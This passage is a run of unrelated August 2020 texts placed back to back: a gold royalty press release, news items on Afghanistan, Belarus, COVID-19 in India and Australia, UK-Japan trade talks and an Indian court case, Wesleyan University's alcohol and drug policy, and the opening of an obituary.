acres of fee ground at the Mt. Hamilton project currently owned by Waterton Global ("Waterton"). Mt. Hamilton is fully permitted for mine construction and the Monte Cristo royalty is Ely Gold's second royalty at Mt. Hamilton. Ely Gold sold the Mt. Hamilton project to Waterton in August 2015. Qualified Person Stephen Kenwood, P. Geo, is director of the Company and a Qualified Person as defined by NI 43-101. Mr. Kenwood has reviewed and approved the technical information in this press release. About Ely Gold Royalties Inc. Ely Gold Royalties Inc. is a Nevada focused gold royalty company. Its current portfolio includes royalties at Jerritt Canyon, Goldstrike and Marigold, three of Nevada's largest gold mines, as well as the Fenelon mine in Quebec, operated by Wallbridge Mining. The Company continues to actively seek opportunities to purchase producing or near-term producing royalties. Ely Gold also generates development royalties through property sales on projects that are located at or near producing mines. Management believes that due to the Company's ability to locate and purchase third-party royalties, its strategy of organically creating royalties and its gold focus, Ely Gold offers shareholders a favourable leverage to gold prices and low-cost access to long-term gold royalties in safe mining jurisdictions. On Behalf of the Board of Directors Signed "Trey Wasser" Trey Wasser, President & CEO For further information, please contact: Trey Wasser, President & CEO trey@elygoldinc.com 972-803-3087 Joanne Jobin, Investor Relations Officer jjobin@elygoldinc.com 647 964 0292 FORWARD-LOOKING CAUTIONS: This press release contains certain "forward-looking statements" within the meaning of Canadian securities legislation, including, but not limited to, statements regarding completion of the Transaction. Forward-looking statements are statements that are not historical facts; they are generally, but not always, identified by the words "expects," "plans," "anticipates," "believes," "intends," "estimates," "projects," "aims," "potential," "goal," "objective," "prospective," and similar expressions, or that events or conditions "will," "would," "may," "can," "could" or "should" occur, or are those statements, which, by their nature, refer to future events. The Company cautions that forward-looking statements are based on the beliefs, estimates and opinions of the Company's management on the date the statements are made and they involve a number of risks and uncertainties. Consequently, there can be no assurances that such statements will prove to be accurate and actual results and future events could differ materially from those anticipated in such statements. Except to the extent required by applicable securities laws and the policies of the TSX Venture Exchange, the Company undertakes no obligation to update these forward-looking statements if management's beliefs, estimates or opinions, or other factors, should change. Factors that could cause future results to differ materially from those anticipated in these forward-looking statements include the Company's inability to control whether the buy-down right will ever be exercised, and whether the right of first refusal will ever be triggered, uncertainty as to whether any mining will occur on the property covered by the Probe Royalty such that the Company will receive any payment therefrom, and the general risks and uncertainties relating to the mineral exploration, development and production business. The reader is urged to refer to the Company's reports, publicly available through the Canadian Securities Administrators' System for Electronic Document Analysis and Retrieval (SEDAR) at www.sedar.com for a more complete discussion of such risk factors and their potential effect. Neither the TSX Venture Exchange nor its Regulation Services Provider accepts responsibility for the adequacy or accuracy of this release. To view the source version of this press release, please visit https://www.newsfilecorp.com/release/61444 On August 10, Afghan President Ashraf Ghani signed a decree for the controversial release of 400 Taliban prisoners to give a start to the Afghan peace talks, as per reports by the presidential palace. This release was a precondition set by Taliban and it was the biggest hurdle to overcome in order to initiate peace. According to reports, a number of members of the Afghan security forces convicted for minor crimes will also be pardoned and released. Negotiations can start within one week of the release Reports suggest that the Taliban political spokesman Suhail Shaheen said the decision was a good and a positive step and negotiations can start within one week of the release of their prisoners. However, Ghani said that he made his decision after the Afghan assembly issued its approval on August 9 as he had no power to release such prisoners. The councils decision to free the Taliban prisoners did not come as a surprise as it was a gradual decision which was given a lot of thought. Read: Afghanistan Govt Agrees To Release 400 Taliban Prisoners To Start Peace Talks According to reports, the delegates were urged by the US at the start of the council, on August 7 to take this difficult action. "The Islamic Republic of Afghanistan welcomes the Reduction in Violence period and takes note of the US-Taliban agreement, an important step toward ending the war. The US-Taliban agreement paves the way for intra-Afghan negotiations on a political settlement and a permanent and comprehensive ceasefire. The Islamic Republic of Afghanistan reaffirms its readiness to participate in such negotiations and its readiness to conclude a ceasefire with the Taliban," a joint declaration signed between Afghanistan and the United States read. Read: US Will Cut Troop Levels In Afghanistan To 'less Than 5,000' By November End: Mark Esper This was to bring the war to an end and so that peace could prevail. In addition, the agreement said that up to 5,000 Taliban prisoners and up to 1,000 pro-government prisoners would be freed before the peace talks begin. This will be like a goodwill gesture between the two conflicting sides. Read: Afghanistan: Terrorist Attack On Prison Ended; 29 Dead, 50 Wounded Also Read: Attack On Prison In Afghanistan Continues; At Least 11 Dead (Image Credits: AP) Actor Sushant Singh Rajputs sister Shweta Singh Kirti requested everyone to pray for a positive outcome ahead of a Supreme Court hearing in the actors death case. Taking to social media, she wrote, I request everyone to pray for a positive outcome of the Supreme Court hearing. #Warriors4Sushant #LetsPray #Godiswithus #JusticeforSushantSingRajput. I request everyone to pray for a positive outcome of the Supreme Court hearing. #Warriors4Sushant #LetsPray #Godiswithus #JusticeforSushantSingRajput shweta singh kirti (@shwetasinghkirt) August 11, 2020 The Supreme Court will today hear Sushants girlfriend Rhea Chakrabortys plea for transfer of the Bihar police FIR against her from Patna to Mumbai. The FIR for abetment of suicide was filed by Sushants father, KK Singh, against Rhea and five others. The case has since been transferred to the Central Bureau of Investigation. It has re-registered the Bihar polices First Information Report(FIR) of alleged criminal conspiracy and abetment to suicide against Chakraborty, who was Rajputs girlfriend. Others named in the FIR are Rheas brother Showik Chakraborty, father Indrajit Chakraborty, mother Sandhya Chakraborty, Rajputs house manager Samuel Miranda and Shruti Modi, the business manager of Rhea and Rajput. On Monday, Rhea filed a fresh plea in the Supreme Court, saying the actors death case has been blown out of proportion and she was being subjected to media trial due to constant sensationalisation. Chakraborty, 28, also submitted in an additional affidavit filed in the apex court she should not be made scapegoat of political agendas in the case, and alleged that Bihar Chief Minister Nitish Kumar is reported to be responsible for registration of the FIR in Patna against her. There was no immediate reaction from the Bihar government to the allegation. The Mumbai police have been also probing the alleged suicide following an accidental death report complaint lodged by Bandra police. Rajput, 34, was found dead in Mumbai on June 14. The Enforcement Directorate (ED), meanwhile, began a fresh round of questioning of Chakraborty and her family members in connection with its probe in a money laundering case linked to Rajputs death. SHARE THIS ARTICLE ON Maharashtra coronavirus disease (Covid-19) recovery rate has been improving amid no sign of flattening of the viral outbreak curve. State health department data showed that 3,58,421 Covid-19 patients have recovered from their viral infection and discharged from various healthcare facilities in the state to date. On Sunday (August 9), Maharashtra reported the highest single-day recovery tally of 13,348 Covid-19 patients and 6,711 on the following day. In the past five days, 52,900 Covid-19 patients have recovered, as compared to 56,248 new cases reported during the corresponding period. The number of Covid-19 patients recovered from viral infection between August 6 and 10 is 10,854, 10,906, 11,081, 13,348 and 6,711, respectively While the daily new Covid-19 cases recorded during the corresponding period are 11,514, 10,483, 12,822, 12,248, and 9,181, respectively, the data showed. At present, Maharashtras Covid-19 recovery rate is 68.33%, as compared to the national average of 69.80%. On July 11, the states recovery rate was at 55.55%. On Monday, Maharashtra recorded 9,181 new Covid-19 cases, as the states tally rose to 524,513, including 147,735 active cases. The viral outbreak-related death toll stands at 18,050, including 293 fresh fatalities on Monday. Gujarat and Maharashtra have the worst case fatality rate (CFR) in the country at 3.74% and 3.44%, respectively. The surge in the viral outbreak cases and a lack of robust healthcare infrastructure in Maharashtra has prompted the state government to set up makeshift facilities amid plans to ramp up the facilities shortly. Last week, chief minister Uddhav Thackeray had directed the state authorities to develop field hospitals in all the major cities of Maharashtra. We want to be prepared, if Covid-19 cases further rise as the existing healthcare infrastructure is overburdened, said a state health department official. Thackeray had also sought the support of the Central government to set up an infectious disease hospital and research facility near Mumbai. He had put forth the demand during his recent interaction with Prime Minister Narendra Modi and Union health minister Harsh Vardhan at the virtual launch of Covid-19 testing facilities in Noida, Mumbai, and Kolkata. Alcohol and Other Drugs Wesleyan University prides itself on being a community of responsible citizens. To this end, it is expected that members of the community will abide by Wesleyan policies and local laws. We recognize that despite these laws, expectations, and standards, some people will illegally consume or possess alcohol or other drugs, and some will have medical, legal, and/or interpersonal problems as a result of their use. Moreover, even those of legal age may misuse alcohol and in so doing come into conflict with standards of community conduct. It is therefore the purpose of this document to delineate clearly the University policy on alcohol and other drugs. This includes the Universitys regulations and many relevant laws, information regarding substance-free events, resources for those who have or are concerned about problems related to alcohol or drug use, and clarification about potential outcomes if found in violation of the University policy. Standards of Conduct The University prohibits the underage and unlawful possession, use, or distribution of illicit drugs and alcohol by students or by employees on University property or while participating in any University-sponsored activity. The University will impose disciplinary sanctions on students and employees who violate the standards. Disciplinary sanctions that may be imposed on students include warning, disciplinary probation, community service hours, suspension, and dismissal. The University may also require a student who violates these standards to participate in a program of rehabilitation. Whenever the University determines that a student has violated one of the standards, it will consider as a possible sanction referral of the matter to law enforcement officials for prosecution. Although sanctions will vary according to the specific circumstances of the case, and greater or lesser sanctions imposed depending on these circumstances, it is nonetheless important for students to understand the potential consequences of violating the Universitys policies on drugs and alcohol. Financial Aid Eligibility: A student who has been convicted of any offense under federal or state law involving the possession or sale of a controlled substance will not be eligible to receive certain grants, loans, or work assistance from the time of conviction through a period of ineligibility. The Office of the Dean of Students will monitor and report any known conviction to the Office of Financial Aid. The Community Standards Board has Provided the Following Information Related to Typical Sanctions for Students: First Offense: For minor violations, the student may receive a disciplinary warning via a simplified procedure (pursuant to Section III. D. 3 of the Code of Non-Academic Conduct). For serious violations, the student may receive more severe sanctions. Second Offense: The student may receive a period of disciplinary probation and an educational assignment. As permitted by the 1998 Reauthorization of Higher Education Act, Wesleyan may notify parents by letter when a student is placed on disciplinary probation as a result of an alcohol/drug policy violation (generally this occurs as a result of a second offense or serious first offense). Third Offense: If such an offense occurs during the probationary period, the student may be suspended for at least one semester. If the offense occurs after the probationary period, the student may receive an extended period of disciplinary probation, an educational assignment, and community service. Local, State, and Federal Legal Sanctions Numerous local, state, and federal laws govern the possession, use, and distribution of illicit drugs and alcohol. The following is a brief overview of those laws. This overview cannot be an exhaustive or definitive statement of the various laws, but rather is designed to indicate the types of conduct that are against the law and the range of applicable legal sanctions. It is important to note that, while the activities covered by state, local, and federal law and those covered by Wesleyans rules are largely the same, the laws and the rules operate independently and do not substitute for each other. Wesleyan may pursue enforcement of its rules whether or not legal proceedings are under way or in prospect, and it may use information from third-party sources, such as law enforcement agencies and the courts, to determine whether University rules have been broken. The University will make no attempt to shield members of the Wesleyan community from the law. Local Laws Alcohol Use of Alcoholic Beverages Prohibited (see Middletown Code of Ordinances, 189) The possession and/or drinking of alcoholic beverages, including, but not limited to, wine and beer, by any person on any city-owned property under the jurisdiction of the Parks and Recreation Department of the city of Middletown shall be prohibited, except that the possession and/or drinking of wine and/or beer shall be allowed in posted areas and at posted times, or by permit, at Veterans Memorial Park, Area A, and Crystal Lake. No person under the age of 21 shall be in possession of alcohol on public or private property. Beer kegs on any city property under the jurisdiction of the Parks and Recreation Department of the city of Middletown shall only be permitted by special permit. Any person violating these provisions shall be fined in an amount not to exceed $90 per violation per day. Consumption and Possession of Alcoholic Liquor within and upon Public Highways, Sidewalks, and Parking Areas (see Middletown Code of Ordinances, 2547) Except as permitted by the ordinance, no person shall consume any alcoholic liquor or possess with the intent to consume any alcoholic liquor upon or within the limits of any public highway or sidewalk or parking area within the city of Middletown. Consumption of alcoholic liquor or possession with intent to consume alcoholic liquor shall not be permitted in parked vehicles within or upon public highways, streets, or parking areas under any circumstances. Any person violating this ordinance shall be fined not more than $100 for each offense. State laws Drugs Penalties for Illegal Manufacture, distribution, Sale, Prescription, or dispensing of Controlled Substances Hallucinogenic or narcotic substances other than marijuana. First offense:Prison sentence not to exceed 15 years and/or fine not to exceed $50,000. Second offense: Prison sentence not to exceed 30 years and/or ne not to exceed $100,000. Each subsequent offense: Prison sentence not to exceed 30 years and/or ne not to exceed $250,000 (see Connecticut General Statutes 21277). Other controlled substances excluding marijuana. First offense: Prison sentence not to exceed seven (7) years and/or ne not to exceed $25,000. Each subsequent offense: Prison sentence not to exceed 15 years and/or fine not to exceed $100,000 (see Connecticut General Statutes 21277). Examples of such substances include, but are not limited to, mescaline, peyote, morphine, LSD, cocaine (including crack), opium, amphetamines, and heroin. For a complete definition of controlled, hallucinogenic, and narcotic substances, see Connecticut General Statutes 21a240. Penalties for Illegal Manufacture, distribution, Sale, Prescription or Administration by Nondrug-dependent Person Minimum prison term of not less than ve years and maximum term of life imprisonment for the manufacture, distribution, sale, or possession or transportation with the intent to sell of one ounce or more of heroin, methadone, or cocaine (including crack), or one-half gram more of cocaine in a freebase form, or ve milligrams or more of LSD (see Connecticut General Statutes 21a278). Minimum prison term of not less than five years for first offense, and for subsequent offenses, minimum prison term of not less than 10 years, for the manufacture, distribution, sale, or transportation or possession with the intent to sell any narcotic, hallucinogenic or amphetamine-type substance, or one kilogram or more of a cannabis-type substance (which includes marijuana) (see Connecticut General Statutes 21a-278). Penalties for Illegal Manufacture, distribution, Sale, Prescription, or Administration Involving Minors (see Connecticut General Statutes 21a278a) Mandatory two-year prison term for the distribution, sale, dispensing, offering, or giving of any controlled substance to another person who is under 18 years of age and who is at least two years younger than the person violating the statute. Mandatory three-year prison term for the manufacture, distribution, dispensing, sale, transportation or possession with intent to sell, offering or gift of any controlled substance on or within fifteen hundred feet of the real property comprising a public or private elementary school. Penalties for Possession (see Connecticut General Statutes 21a279) Any person who possesses or has under his control any quantity of any narcotic substance, including marijuana, for a first offense may be imprisoned not more than seven years and/or fined not more than $50,000, and for a second offense, may be imprisoned not more than 15 years and/or fined not more than $100,000. Any person who possesses or has under his control any quantity of a hallucinogenic substance other than marijuana or four ounces or more of a cannabis-type substance for a first offense, may be imprisoned not more than five years or be fined not more than two thousand dollars or be both fined and imprisoned, and for a subsequent offense may be imprisoned not more than ten years or be fined not more than five thousand dollars or be both fined and imprisoned. Any person who possesses or has under his control any quantity of any controlled substance other than a narcotic substance, or a hallucinogenic substance other than marijuana or who possesses or has under his control one-half ounce or more but less than four ounces of a cannabis-type substance, for a first offense, may be fined not more than one thousand dollars or be imprisoned not more than one year, or be both fined and imprisoned; and for a subsequent offense, may be fined not more than three thousand dollars or be imprisoned not more than five years, or be both fined and imprisoned. A variety of sentences are available under this statute depending on the substance possessed, its quantity, and the background of the offender. Alcohol Sale of Alcohol to Minors and Intoxicated Persons (see Connecticut General Statutes 3086) Any permittee who sells or delivers alcoholic liquor to any minor, or to any intoxicated person, or to any habitual drunkard shall be fined not more than $1,000 and/or imprisoned not more than one (1) year. Any person who delivers or gives alcoholic liquor to any minor, except on the order of a practicing physician, shall be fined not more than $1,500 and/or imprisoned not more than 18 months. Inducing Minors to Procure Liquor (see Connecticut General Statutes 3087) a. Any person who induces any minor to procure alcoholic liquor from any person permitted to sell the same shall be fined not more than $1,000 and/or imprisoned not more than one year. Misrepresentation of Age (see Connecticut General Statutes 3088a) a. Any person who misrepresents his age or uses or exhibits for the purpose of procuring alcoholic liquor an operators license belonging to any other person shall be fined not less than $200 nor more than $500 and/or imprisoned for not more than 30 days. Procuring Liquor by Persons Forbidden and Public Possession of Liquor by Minors (see Connecticut General Statutes 30-89) Any person to whom the sale of alcoholic liquor is by law forbidden who purchases or attempts to purchase such liquor or who makes any false statement for the purpose of procuring such liquor shall be fined not less than $200 nor more than $500. Any minor who possesses any alcoholic liquor on any street or highway or in any public place or place open to the public, including a club that is open to the public, shall be fined not less than $200 nor more than $500. Dram Shop Act (see Connecticut General Statutes 30102) a. If any person, by himself or his agent, sells any alcoholic liquor to any intoxicated person, and such purchaser, in consequence of such intoxication, thereafter injures the person or property of another, such seller shall pay just damages to the person injured, up to the amount of $20,000, or to persons injured in consequence of such intoxication up to an aggregate amount of $50,000. Operating a Motor vehicle While Under the Influence of Liquor or Drug or While Impaired by Liquor (see Connecticut General Statutes 14227a) Any person who operates a motor vehicle while under the influence of intoxicating liquor or drug or both or who operates a motor vehicle while his ability to operate is impaired by the consumption of intoxicating liquor shall, for conviction of a first violation, be fined not less than $500 and be imprisoned for not more than six months, and shall have his operators license suspended for one year. This statute provides for greater penalties for subsequent offenses. Federal Laws Federal Penalties and Sanctions for Illegal Possession of a Controlled Substance Penalty for Simple Possession (see 21 U.S.C. 844[A]) FIRST CONVICTION : Up to one year imprisonment and fined at least $1,000 but not more than $100,000 or both. AFTER 1 PRIOR DRUG CONVICTION : At least 15 days in prison, not to exceed two years, and fined at least $2,500 but not more than $250,000 or both. AFTER 2 OR MORE PRIOR DRUG CONVICTIONS: At least 90 days in prison, not to exceed three years and fined at least $5,000 but not more than $250,000 or both. SPECIAL SENTENCING PROVISIONS FOR POSSESSION OF CRACK COCAINE : Mandatory at least five years in prison, not to exceed 20 years and fined up to $250,000 or both, if: First conviction and the amount of crack possessed exceeds five grams; Second crack conviction and the amount of crack possessed exceeds three grams; Third or subsequent crack conviction and the amount of crack possessed exceeds one gram. Criminal Forfeitures (see 21 U.S.C. 853[a][2] and 881[a][7]) Forfeiture of personal and real property used to possess or to facilitate possession of a controlled substance if that offense is punishable by more than one-year imprisonment. (See special sentencing provisions regarding crack.) Forfeitures (see 21 U.S.C. 881[a][4]) Forfeiture of vehicles, boats, aircraft, or any other conveyance used to transport or conceal a controlled substance. Civil Penalties for Possession of Small Amounts of Certain Controlled Substances (see 21 U.S.C. 844a) Civil fine up to $10,000 (pending adoption of final regulations). Denial of Federal Benefits to drug Traffickers and Possessors (see 21 U.S.C. 853a) Denial of federal benefits, such as student loans, grants, contracts, and professional and commercial licenses up to one year for first offense, up to five years for second and subsequent offenses. Firearm Forfeiture (see 18 U.S.C. 922[g]) Ineligible to receive or purchase a firearm. Miscellaneous Revocation of Certain Federal Licenses and Benefits, e.g., pilot licenses, public housing tenancy, etc., are vested within the authorities of individual federal agencies. Federal Trafficking Penalties See Federal Trafficking Penalties charts (https://www.dea.gov/sites/default/files/drug_of_abuse.pdf#page=30). Risks Associated with Alcohol Use Alcohol use is often viewed as being part and parcel of the college experience. Indeed, national data shows that approximately 80 percent of college students drink alcohol, and approximately 1,800 college-age students die each year from alcohol-related injuries. Alcohol use on college campuses plays a direct role in several other harms, such as academic problems, physical assault, sexual assault, and unsafe sex. Wesleyan is especially concerned with high-risk drinking because of the associated harms to the individual and the community and as such has defined high-risk drinking for educational and judicial procedures. Wesleyan University's Definition of High-Risk Drinking Nationwide studies have defined high-risk drinking, or binge drinking, as four drinks for women and five drinks for men in a sitting at least once in a two-week period. However, the actual level at which this occurs can vary between individuals. The behavioral definition of high-risk drinking refers to drinking in a way that compromises the health, well-being, or safety of the individual or others, defies law and University policies, or disrespects the Wesleyan University community. The participation in a behavior listed in any of the categories below qualifies as engagement in high-risk drinking. Compromising Ones Own Health and Well-Being Being dangerously intoxicated or under the influence of alcohol or drugs leading to: A diminished ability to walk or stand Vomiting Loss of consciousness Verbal or cognitive incoherence Aggressive or violent behavior Intentionally mixing alcohol or drugs together when such use is contraindicated, including excessive amounts of caffeine Consuming an excessive quantity in a short amount of time Chugging Shots Utilization of a high-volume drinking apparatus Pregaming or prepartying Not knowing what is in your glass or leaving it unattended Drinking as an excuse for sexual activities Defying Law and University Policies Operating a vehicle after drinking or riding with an intoxicated driver Causing or coercing another person to ingest alcohol or any drug without that persons consent Attempting to purchase or purchasing, possessing, or otherwise having control of alcoholic beverages under the age of 21 Non-compliance with the requirements of the Student Events Policy by a student organization Disrespecting the Wesleyan University Community Possessing an open container of alcoholic beverage in public/common areas or on the grounds of the University, except at registered events Engaging in hazardous or disruptive conduct, which may include: Engaging in games or other potentially dangerous behaviors or encouraging others to do so Damaging or destroying University property or another persons property Engaging in physically or verbally abusive behavior Health Risk Associated with Illicit Drug Use Similar to alcohol, someone who uses illicit drugs on a regular basis is at increased risk for experiencing negative consequences (see Risks Associated with Alcohol Use, above). These consequences can vary greatly depending on the substance, the quantity consumed, if it is combined with alcohol or other substances, and the frequency of consumption. Some consequences may include the following: Mental and physical health problems, including lowered resistance to disease/illness; increased risk of ulcers, heart disease, and cancers of the liver, mouth, throat and stomach; and memory loss, anxiety disorders, phobias, and depression. Increased risk of serious injury to self or others, due to fighting, sexual assault, driving under the influence, homicide, and suicide. Increased likelihood of engaging in unprotected/unsafe sex, due to impaired judgment which may result in unplanned pregnancy and/or infection with a sexually transmitted disease. Increased engagement in other illegal activities, including vandalism, physical assault, sexual assault, driving under the influence, etc. Increased likelihood of developing an addiction, particularly those with a family history of alcohol or other drug addiction. They are at least four times more likely to develop an addiction. Increased likelihood of death. Drug use increases the odds of death from accidental or intentional drug overdoses as well as participation in other unsafe behaviors (e.g., driving under the influence). Drugs, by definition, impact the bodys physiologic processes by chemical means. These interactions may be unpredictable, especially when the constituents of drugs are partially unknown (as with street or club drugs), or of unexpected intensity as when prescription drugs are misused. Such effects are especially problematic when drugs are mixed or combined with alcohol or with other prescription or herbal medications a student may be taking. At best, such an outcome is frightening or uncomfortable; at worst it could lead to unintended effects as detailed above. In addition to these risks, there is the possibility of addiction to behavior patterns or physical addiction, both of which can yield devastating impacts on family, finances, health, etc. The chart Controlled SubstancesUses and Effects (https://www.dea.gov/factsheets ) provide additional information on the uses and effects of controlled substances. (Information adapted from McDowell, U. and Futris, T., Adolescents at Risk: Illicit Drug Use. Department of Human Development and Family Science, The Ohio State University, 2002; and C. Kuhn, S. Swartzwelder and W. Wilson, Buzzed: The straight facts about the most used and abused drugs from alcohol to ecstasy, 1998.) Alcohol and Other Drug Prevention and Education for Students WesWell, the Office of Health Education | 287 High Street | 860-685-2466 | wesleyan.edu/weswell WesWell, the Office of Health Education, coordinates alcohol and other drug prevention education activities. These efforts consist of educational outreach activities with the goal of informing and educating the Wesleyan community about the use and abuse of alcohol and other drugs. The program is aimed at creating an environment on campus in which responsible choices about alcohol and drug use are supported. Please visit wesleyan.edu/weswell/resources to see a comprehensive list of strategies. Some strategies include: The Director of Health Education hires a team of student Peer Health Advocates who create peer-led outreach activities on a range of health issues, including alcohol and other drugs. They design and disseminate a variety of activities and materials and assist the Director and Alcohol and Other Drug Specialist in planning prevention activities. The health education staff offers programs during New Student Orientation and residentially based workshops throughout the year, and sponsors awareness events and speakers. The health education staff supports students referred for educational follow-up as a result of alcohol and other drug policy violations. This may be a one-on-one meeting with the Alcohol or Other Drug Specialist or participation in a web-based program. The Director of Health Education and Alcohol and Other Drug Specialist conduct Residence Life student staff training and in-services, assists with event staff training, and supports the training needs of other departments and groups on alcohol and other drug issues. The Director of Health Education and Alcohol and Other Drug Specialist serve as a resource and an advisor to students who opt to live in alcohol- and drug-free housing and to students in recovery from alcohol and other drugs. Alcohol and Other Drug Intervention and Support Identification, Intervention, and Referral of students with substance abuse problems Health Services and other Student Affairs and Deans Office staff are trained to identify students who may have substance- abuse problems and can intervene, if appropriate, to refer these individuals to Health Education, Counseling and Psychological Services, and/or to a local treatment center for assessment and treatment, if necessary. Twelve-step support meetings are available on campus and within walking distance of campus. For a list of campus meetings please visit: wesleyan.edu/weswell. The Residential Life student staff and the Peer Health Advocates may also refer students to the Office of Health Education, Health Services, and Counseling and Psychological Services (CAPS) for problems with alcohol and other drugs. Additionally, students who violate the Universitys Alcohol and Other Drugs Policy may be referred by the Community Standards Board (CSB) to meet with staff in Health Services, Office of Health Education, and/or Counseling Center for an evaluation/assessment or ongoing therapy. Ongoing Support for Students in Recovery Professionals are available in the Counseling and Psychological Services for ongoing counseling and support. Twelve-step support meetings are available within on-campus and within walking distance of campus. For a current list of campus meetings and locations please visit: wesleyan.edu/weswell. Alcohol and Drug Counseling and Treatment for Students Davison Health Center, 327 High Street | 860-685-2470, wesleyan.edu/healthservices The Davison Health Center serves as an important point of first contact for many students. The Health Center staff are well-attuned to the direct and indirect effects of alcohol and other drugs on students lives and factor this in virtually every clinical encounter. Educating and advising students on the use of alcohol and other drugs will occur directly when medical history or exam suggest that their use may be having an impact on physical, academic, or social functioning and indirectly as when students are advised to avoid alcohol use to promote recovery from a viral illness. When necessary, students are referred to the Counseling and Psychological Services. Counseling and Psychological Services | 860-685-2910, wesleyan.edu/caps Counseling and Psychological Services (CAPS) is located in the Davison Health Center. CAPS sees students who self-refer for alcohol and/or substance issues, as well as students who are referred by other offices and members of the University community. CAPS also assists students who are returning to campus following intensive treatment for alcohol or drug abuse or dependence. CAPS provides consultation and referral, voluntary psychotherapy, and support for returning students. Consultation and Referral A student with questions about his or her substance or alcohol use can schedule an appointment with a CAPS therapist to discuss these concerns in detail. At the end of the session, the therapist will make a recommendation for treatment, which could range from individual psychotherapy at CAPS to outpatient treatment at a specialized program to inpatient rehabilitation. Voluntary Psychotherapy If appropriate, a student may see a CAPS therapist for individual psychotherapy to address concerns regarding alcohol and/or substance use. Alternatively, a student may benefit from seeing a therapist in the community who specializes in this area. CAPS can assist students with these referrals. Finally, a students use pattern may be significant enough to warrant intensive outpatient treatment, such as that provided by Rushford Treatment Center in Middletown. CAPS can facilitate this referral as well. Support for Returning Students At times, students determine they need time off from Wesleyan in order to fully address their alcohol and/or substance issues. As they prepare to return to the campus community following completion of their treatment, CAPS will meet with students to discuss potential challenges and to develop a plan for a successful transition back to the life of a full-time student. Policy Review The University will review the Alcohol and Other Drugs Policy at least every two years to assess its effectiveness and ensure that disciplinary sanctions are consistently enforced. Changes in the policy will be implemented as needed following each review. The main challenger in Belaruss disputed presidential election has fled to Lithuania after a second night of street clashes between police and opposition supporters left a protester dead. Svetlana Tikhanovskaya, who refused to concede her defeat against President Alexander Lukashenko in Sundays vote, had arrived in the neighbouring country and was safe, Lithuanian Foreign Minister Linas Linkevicius told the AFP news agency on Tuesday. He did not provide any further details, but EU and NATO member Lithuania, which like Belarus was once part of the Soviet Union, has a history of granting refuge to Belarusian and Russian opposition figures. Tikhanovskayas whereabouts had been unclear after campaign staff said they had lost contact with her and there had been concern for her safety. Her surfacing in Lithuania came after thousands took to the streets of the capital, Minsk, for a second night on Monday, after authorities said longtime leader Lukashenko had secured a sixth term with 80 percent of the vote. Police used rubber bullets, stun grenades and tear gas to disperse protesters [Vasily Fedosenko/Reuters] Tikhanovskaya, a political novice who has energised the opposition, came second with 10 percent and protesters are backing her claim to have won the election. For the second consecutive night, police used rubber bullets, stun grenades and tear gas to disperse demonstrations, though protesters fought back with stones and fireworks and built makeshift barricades. Too many people are against Lukashenko, Pavel, a 34-year-old protester, told AFP. Our goal is to depose Lukashenko. He is not worthy of being president. Dozens of people have been injured in the violence and the first death was confirmed on Monday when police said a man died after an explosive device went off in his hand. Tikhanovskayas staff had said earlier that she would not join demonstrations to avoid provocations and it was unclear how her sudden departure would affect the opposition. The UK's trade deal with Japan is being held up by demands over cheese, it was claimed today. Trade Secretary Liz Truss is believed to be insisting on better terms for agricultural exports, and Stilton in particular. The two sides had been hoping to finalise the post-Brexit pact by now, but the process has been delayed by last-minute haggling - although there are still hopes it will be completed this month. The dispute, highlighted by the Financial Times, has echoes of the 'cars for cheese' clashes during the trade negotiations between the EU and Japan. The two sides had been hoping to finalise the post-Brexit pact by now, but the process has been delayed by last-minute haggling. Liz Truss is pictured with Tokyo's foreign minister Toshimitsu Motegi Ms Truss is known to be an aficionado of the cheese business, having achieved cult status on social media in 2014 after telling Tory conference the trade deficit in the dairy delicacy was 'a disgrace'. UK exports of blue cheese were worth 18million last year, but just 102,000 of that went to Japan. Last week Tokyo's foreign minister Toshimitsu Motegi said the two nations had reached substantial agreement in most areas for a bilateral agreement. The UK's talks with the EU are deadlocked over issues including fishing rights, while discussions with the US may not be completed before November's presidential election, which could herald a change of administration. The UK Japan trade deal is broadly based on an agreement done between Tokyo and the EU but Britain has sought to negotiate further tariff reductions and better access to Japanese markets for British firms. The deal could mean cheaper Japanese tech goods like Sony Playstations for British consumers. Japan is a major investor in British industry, particularly consumer electronics and car manufacturing. The total value of bilateral trade in 2019 was 31.6billion according to British data. Ms Truss said: 'Negotiations have been positive and productive, and we have reached consensus on the major elements of a deal including ambitious provisions in areas like digital, data and financial services that go significantly beyond the EU-Japan deal. Trade Secretary Liz Truss is believed to be insisting on better terms for agricultural exports, and Stilton in particular 'Our shared aim is to reach a formal agreement in principle by the end of August. 'The UK-Japan Comprehensive Economic Partnership Agreement will forge stronger ties between two democratic island nations with a shared commitment to free and fair trade, and strengthen the global consensus for open markets at a time of heightened protectionism. 'It will deliver more trade and investment that will benefit businesses and consumers across the whole of country and help level-up our United Kingdom.' Source: Xinhua| 2020-08-11 16:18:15|Editor: huaxia Video Player Close CANBERRA, Aug. 11 (Xinhua) -- Australia's Acting Chief Medical Officer (CMO) said on Tuesday that he was "very optimistic" about potential vaccines for COVID-19 being trialled around the world. CMO Paul Kelly told reporters in an update on COVID-19 that it is "not going to be years" before a vaccine for the virus is developed as has been suggested by experts. "I don't have a crystal ball on that one but certainly these types of developments usually take years. It is not going to be years," he said. "We are six months into the development of these vaccines and some of them are already in stage three trials, so that's getting quite close to having those answers about whether they are safe and effective." Australia confirmed 19 deaths from COVID-19 on Tuesday, making it the nation's equal deadliest day since the beginning of the pandemic. It takes the national death toll to 331. All 19 deaths were in Victoria and 14 were linked to aged care facilities. Despite the high death toll in Victorian aged care Kelly dismissed allegations by the Aged Care Royal Commission on Monday that the federal government was not prepared for outbreaks in the sector. "We have been planning for our aged population as a vulnerable group since the beginning of our planning in relation to COVID-19," he said. As of Tuesday afternoon there had been 21,713 confirmed cases of COVID-19 in Australia, and the number of new cases in last 24 hours is 353, according to Kelly. Of the new cases, 331 are in Victoria. "Within Victoria, 91 of the new cases are linked to outbreaks or complex cases and 240 are under investigation," said a statement from the Department of Health and Human Services in Victoria on Tuesday. The department also said that to date there are 1,097 active COVID-19 cases among healthcare workers in the state. Enditem AUSTIN, Texas Born: Aug. 11, 1970 - Valdosta, Georgia Death: Feb. 8, 2020 - Austin, Texas Gregory Scott Carley passed away suddenly, and without warning, as he experienced a major adverse cardiac event on Feb. 8, 2020 in Austin, Texas. Fifty candles will burn brightly today in honor of Greg's BIRTH and the amazing life he created with those who loved him most dearly. Greg's love of photography will remain in our hearts with beautiful photo memories to be shared forever and ever. Life can't be counted in numbers of candles or measured in number of years, it's counted in small joys and good times and laugh lines, as well as in heartaches and tears. Life can't be counted in candles or measured in years that have flown it's counted in kindnesses, close friends, and loved ones, and in all the sweet blessings we've known. Greg was born to Lynn M. Carley and Susan W. Carley on 